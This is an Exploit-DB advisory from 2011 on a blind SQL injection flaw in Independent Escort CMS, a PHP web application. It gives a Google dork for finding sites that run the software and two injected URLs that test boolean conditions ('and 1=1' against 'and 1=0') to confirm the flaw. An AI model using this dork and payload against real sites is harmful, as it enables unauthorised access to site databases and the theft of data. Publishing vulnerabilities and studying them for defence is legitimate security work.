Independent Escort CMS - Blind SQL Injection

EDB-ID:

16198

CVE:



Author:

NoNameMT

Type:

webapps


Platform:

PHP

Date:

2011-02-19


# Exploit Title: Independent Escort CMS Blind SQL Injection Vunerability
# Google Dork: "Powered by Independent Escort CMS"
# Platform: php
# Date: 09.02.2011
# Author: NoNameMT
# Software Link:
http://www.escortwebsitedesign.co.uk/escort-design/index.php
# Price: 199 £ per month
# Tested on: Windows 7
# Mail: nonamemt@gmail.com
# Homepage: http://nonamemt.us

# Exploit:
http://localhost/Choose~this~name~yourself,508+and+1=1--+ //True
http://localhost/Choose~this~name~yourself,508+and+1=0--+ //False

# Greetings:
J0hn.X3r, 4004-security-project.com, TamCore, bursali, theeddy42,
Nightmare_FH